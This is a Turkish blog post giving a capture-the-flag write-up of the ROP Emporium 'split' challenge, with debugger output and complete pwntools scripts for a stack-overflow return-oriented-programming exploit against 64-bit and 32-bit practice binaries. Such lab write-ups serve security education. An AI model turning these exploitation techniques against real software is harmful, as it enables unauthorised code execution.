Avatar
Ben Süleyman ERGEN. Siber güvenlik benim alanımdır. Bol bol ctf çözer ve write-up yazarım. Burada ise edindiğim tecrübeleri ve bilgileri paylaşıyorum.

Rop Emporium split WRITEUP

Rop Emporium split WRITEUP

Merhabalar. Ropemporium sorularına devam ediyorum. Bu yazımda split sorusunu inceleyeceğiz.

Açıklama

Sorunun açıklamasını okuduğumuzda flag.txt dosyasını yazdırmamız gerektiğini söylüyor. Aynı şekilde binary dosyası içerisinde "/bin/cat flag.txt" stringinin bulunduğunu ve system fonksiyonunu bu parametre ile çağırmamız gerektiğini öğreniyoruz.

64 Bit

Öncelikle sorunun 64 bit sürümünden başlayacağım. 64 bit binary dosyalarını incelerken şunları aklımızda bulundurmalıyız. Bu maddeler 32 bit ve 64 bit mimarileri arasındaki temel farklardır.

  1. Geran amaçlı register ler 64 bite uzatılmıştır. Aynı zamanda sık kullanacağımız registerler şu şekildedir: RAX, RBX, RCX, RDX, RSI, RDI.
  2. Instruction pointer, base pointer ve stack pointer değerleride 64 bite uzatılmıştır. Bu registerlerin isimleri sırasıyla şu şekildedir: RIP, RBP, RSP.
  3. Pointer lar 8 byte (64 bit) uzunluğundadır.
  4. Stack üzerindeki push ve pop işlemleri 8 byte uzunluğundadır.
  5. 64 bit sistemlerde max adres 0x00007FFFFFFFFFFF dir. Bu değerden büyük bir adresi RIP üzerine yazılamaz.
  6. Fonksiyon parametreleri registerlara geçirilir. Sırası ile bu registerlar RDI, RSI, RDX, RSX, R8, R9. Eğer parametre sayısı 6 dan fazla ise bu durumda 6 dan sonraki parametreler stacke kaydedilir.

Bu maddeleri aklınızdan çıkarmayın. İhtiyacınız olacak.

Şimdi ise binary dosyasını incelemeye başlayalım. checksec ile başlıyorum.

$ checksec split
[*] '/home/hello/CTF/rop/split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Dikkat ederseniz NX (Not Executable) biti etkin. Yani stack üzerindeki hiç bir yer çalıştırılabilir değil. Yani stack üzerine shellcode yerleştirip çalıştıramayız.

Bu durumda program içerisinde mevcut olan komutları kullanacağız. Daha açık bir ifade ile gadget ları kullanacağız. Peki gadget nedir? Gadget son komutu (genellikle) ret ile biten küçük programlardır. Çoğunlukla bir kaç makine komutundan oluşurlar.

Peki program içerisindeki gadgetleri nasıl bulacağız. Bunun için ROPGadget ve ropper gibi araçlar var. Ben bu yazı boyunca ropper kullanacağım. Hemen bir örnek üzerinden split dosyasındaki gadget lere bakalım.

$ ropper -f split
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======
0x00000000004006a2: adc byte ptr [rax], ah; jmp rax; 
0x000000000040088f: add bl, dh; ret; 
......................................
0x00000000004006b0: pop rbp; ret; 
0x0000000000400883: pop rdi; ret; 
0x0000000000400815: nop; pop rbp; ret; 
0x0000000000400804: nop; leave; ret; 
0x00000000004005b9: ret; 

91 gadgets found

Komutun asıl çıktısı çok uzun olduğu için ben bir kısmını kestim. Gördüğünüz üzere gadget lar bir kaç makine komutundan oluşuyor ve genellikle ret ile sonlanıyorlar. Bu küçük programlar sayesinde stack üzerine veri yazabilir, bellekte herhangi bir yere veri yazabilir, register değerlerini değiştirebilir, fonksiyon çağırabilir, bir fonksiyondan geri dönebilir ve daha fazla işlem yaparak programın akışını değiştirebiliriz.

Bir örnek vermek gerekirse pop rdi; ret; gadgeti ile stack üzerindeki bir veriyi rdi registerine yazabiliriz. Yada call rax; gadgeti kullanarak rax registerine kaydedilen adresteki fonksiyonu çağırabiliriz.

Şimdi programımızı çalıştıralım.

$ ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> asdf

Exiting

Basit bir şekilde input alıp sonlanıyor. Şimdi gdb ile daha detaylı inceleyelim.

Ben gdb eklendisi olarak gef kullanıyorum. gef exploit geliştirme konusunda oldukça işimize yarayan bir gdb eklentisi. Sağladığı bir çok özellik ile işimizi oldukça kolaylaştıracaktır. Şiddetle tavsiye edilir :) Şu adrese giderek kendi bilgisayarınıza kurabilirsiniz: Gef Github

Programı çalıştırdıktan sonra yüklü miktarda A karakteri girerek programın crach olmasını sağlıyorum. Ve sonuç:

gef➤  r
Starting program: /home/hello/CTF/rop/split/split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400806 in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdc00  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
............................................................................................
$rip   : 0x0000000000400806  →  <pwnme+81> ret 
............................................................................................
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdc28│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"	 ← $rsp
............................................................................................
0x00007fffffffdc58│+0x0030: 0x0041414141414141 ("AAAAAAA"?)
0x00007fffffffdc60│+0x0038: 0x0000000000400820  →  <__libc_csu_init+0> push r15
─────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007ff <pwnme+74>       call   0x400620 <fgets@plt>
     0x400804 <pwnme+79>       nop    
     0x400805 <pwnme+80>       leave  
 →   0x400806 <pwnme+81>       ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x400806 in pwnme (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400806 → pwnme()

Bu noktada dikkat ederseniz RIP registeri 0x414141 gibi bir değer almamış. Biz ne demiştik? 64 bit sistemlerde en büyük adres 0x00007FFFFFFFFFFF olabilir. Yani bir RIP register değerini 0x4141414141414141 gibi bir değer ile değiştirmeyi denersek program bu noktada doğrudan segfoult hatası verecektir. Çünkü bu kadar büyük bir adresin olması mümkün değildir.

Peki biz bu noktada RIP değerine kadar olan offseti sanıl bulacağız. Hatırlarsanız RSP değerinin hemen yukarısındaki değer fonksiyonların dönüş adresiydi. Yani biz rsp değerine kadar olan kısmın offsetini bulursak sorunumuzu çözmüş oluruz. Hemen deneyelim.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/hello/CTF/rop/split/split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400806 in pwnme ()
............................................................................
............................................................................
gef➤  x $rsp
0x7fffffffdc28:	0x6161616161616166
gef➤  pattern offset 0x6161616161616166
[+] Searching '0x6161616161616166'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search)

Evet offset değerimiz 40. Çünkü intel işlemcileri little endian yapısındadır.

Diğer bir önemli nokta ise soruda belirtilen usefulString ve usefulFunction adreslerini bulmak. Gdb ile bunu hemen bulabiliriz.

Öncelikle usefulString ile başlıyorum. Programı çalıştırdıktan sonra breakpoint ile bir yerde durduğunuzda info var [name] komutunu girerek usefulString değişkeninin bulunduğu adresi öğrenebiliriz. Ardından doğrulama için x/s ile yazdırıyorum.

gef➤  info var usefulString
All variables matching regular expression "usefulString":

Non-debugging symbols:
0x0000000000601060  usefulString
gef➤  x/s 0x0000000000601060
0x601060 <usefulString>:	"/bin/cat flag.txt"

Şimdi ise usefulFunction fonksiyonunu inceleyelim. gdb ile disassamble ederek kodu inceliyorum.

gef➤  disassemble usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:	push   rbp
   0x0000000000400808 <+1>:	mov    rbp,rsp
   0x000000000040080b <+4>:	mov    edi,0x4008ff
   0x0000000000400810 <+9>:	call   0x4005e0 <system@plt>
   0x0000000000400815 <+14>:	nop
   0x0000000000400816 <+15>:	pop    rbp
   0x0000000000400817 <+16>:	ret    
End of assembler dump.

Dikkat ederseniz system fonksiyonunu görüyoruz. Bu fonksiyon ise 0x0000000000400810 adresinde çağırılıyor. Bu fonksiyonu çağırarak "/bin/cat flag.txt" stringi ile flag değerini yazdırabiliriz.

Hatırlarsanız 64 bit sistemlerde fonksiyon parametreleri registerlara kaydedilirdi. system fonksiyonu 1 parametre aldığına göre bu değer rdi registerine kaydedilecek. Yani biz system fonksiyonunu çağırmak istersek parametresini rdi registerine yazmamız gerekecek.

Bu işlemi için ropper ile binary dosyasındaki gadget lara bakalım.

$ ropper -f split
.................................
0x0000000000400883: pop rdi; ret;
.................................

RDI registerine değer yazmamız için gerekli gadgetı bulmuş olduk.

Artık gerekli bütün bilgiye sahibiz. Exploiti yazmaya başlayalım. Öncelikle gerekli kütüphaneleri import edelim ve ardından gerekli tanımlamaları yapalım.

from pwn import *

system = 0x400810
pop_rdi = 0x400883 # pop rdi; ret;
userful_string = 0x601060

Buffer boyutumuz 40 byte uzunluğundaydı. O zaman bufferı dolduralım.

rop  = b"A"*40

Şimdi gireceğimiz adres/değer RIP registerini değiştirecek. Yani programımızın fonksiyondan döneceği adresi. Hatırlayın amacımız system(usefulString) şeklinde bir fonksiyon çağrısı yapmak. O zaman önce RDI registerine usefulString değerini yazmamız gerekiyor.

rop += p64(pop_rdi)
rop += p64(userful_string)

Artık RDI registerinde usefulString olduğuna göre system fonksiyonunu çağırabiliriz.

rop += p64(system)

Bu şekilde gerekli payloadı oluşturmuş olduk. Artık bu payloadı programa input olarak göndermek kaldı. Full exploit kodu şu şekilde:

from pwn import *

system = 0x0000000000400810
pop_rdi = 0x0000000000400883 # pop rdi; ret;
userful_string = 0x0000000000601060

rop  = b"A"*40
rop += p64(pop_rdi)
rop += p64(userful_string)
rop += p64(system)

p = process("./split")
p.sendline(rop)
p.interactive()

Ve exploiti çalıştıralım.

┌─[hello@ASUSPRO]─[~/CTF/rop/split]
└──╼ $ python3 split.py 
[+] Starting local process './split': pid 18572
[*] Switching to interactive mode
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$ 

Bu şekilde 64 bit sürümü başarıyla tamamladık.

32 Bit

Şimdi 32 bit sürümünü inceleyelim. checksec ile başlıyorum.

$ checksec split32
[*] '/home/hello/CTF/rop/split32/split32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

64 bit sürümündeki gibi NX biti etkin. Yani stack üzerindeki hiç bir yer çalıştırılabilir değil.

Programın çalıştırılma şekli ve çıktısı 64 bit sürümü ile aynı olduğu için doğrudan stack offset değerini bulmaya geçiyorum.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/hello/CTF/rop/split32/split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
......................................................................
gef➤  pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)

Öncelikle 100 karakterlik pattern oluşturuyorum. Ardından bu patterni programa girdi olarak vererek crash olmasını sağlıyorum. Ardından eip registerine bakarak offset değerini buluyorum. İntel işlemciler little endian olduğu için offset değerimizi yukarıdaki çıktıdan 44 byte olduğunu görüyoruz.

Şimdi usefulString adresini bulalım ve usefulFunction fonksiyonunu inceleyelim.

gef➤  info var usefulString
All variables matching regular expression "usefulString":

Non-debugging symbols:
0x0804a030  usefulString

Buradan usefulString adresini 0x0804a030 olarak öğrendik.

gef➤  disassemble usefulFunction 
Dump of assembler code for function usefulFunction:
   0x08048649 <+0>:	push   ebp
   0x0804864a <+1>:	mov    ebp,esp
   0x0804864c <+3>:	sub    esp,0x8
   0x0804864f <+6>:	sub    esp,0xc
   0x08048652 <+9>:	push   0x8048747
   0x08048657 <+14>:	call   0x8048430 <system@plt>
   0x0804865c <+19>:	add    esp,0x10
   0x0804865f <+22>:	nop
   0x08048660 <+23>:	leave  
   0x08048661 <+24>:	ret    
End of assembler dump.

Buradan ise system fonksiyonunun adresini 0x08048657 olduğunu görüyoruz.

Şimdi ise exploitimizi oluşturmaya başlayalım. Önce gerekli kütüphaneler ve tanımlamalar.

from pwn import *

system = 0x08048657
useful_string = 0x0804a030

Offset değerimiz 44 idi.

rop  = b"A" * 44

32 bit sistemlerde fonksiyon parametreleri stack üzerine yazılıyordu. system fonksiyonu 1 parametre alır ve bizim bu değeri stack üzerine yazmamız gerekiyor.

rop += p32(system)
rop += p32(useful_string)

Payloadımız bu şekilde. Full exploit kodu:

from pwn import *

system = 0x08048657
useful_string = 0x0804a030

rop  = b"A" * 44
rop += p32(system)
rop += p32(useful_string)

p = process("./split32")
p.sendline(rop)
p.interactive()

Çalıştıralım.

$ python3 e.py 
[+] Starting local process './split32': pid 43954
[*] Switching to interactive mode
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$ 
[*] Process './split32' stopped with exit code -11 (SIGSEGV) (pid 43954)
[*] Got EOF while sending in interactive

EOF

Bu şekilde bu yazıyıda tamamladık. Sonraki yazıda görüşmek üzere …

all tags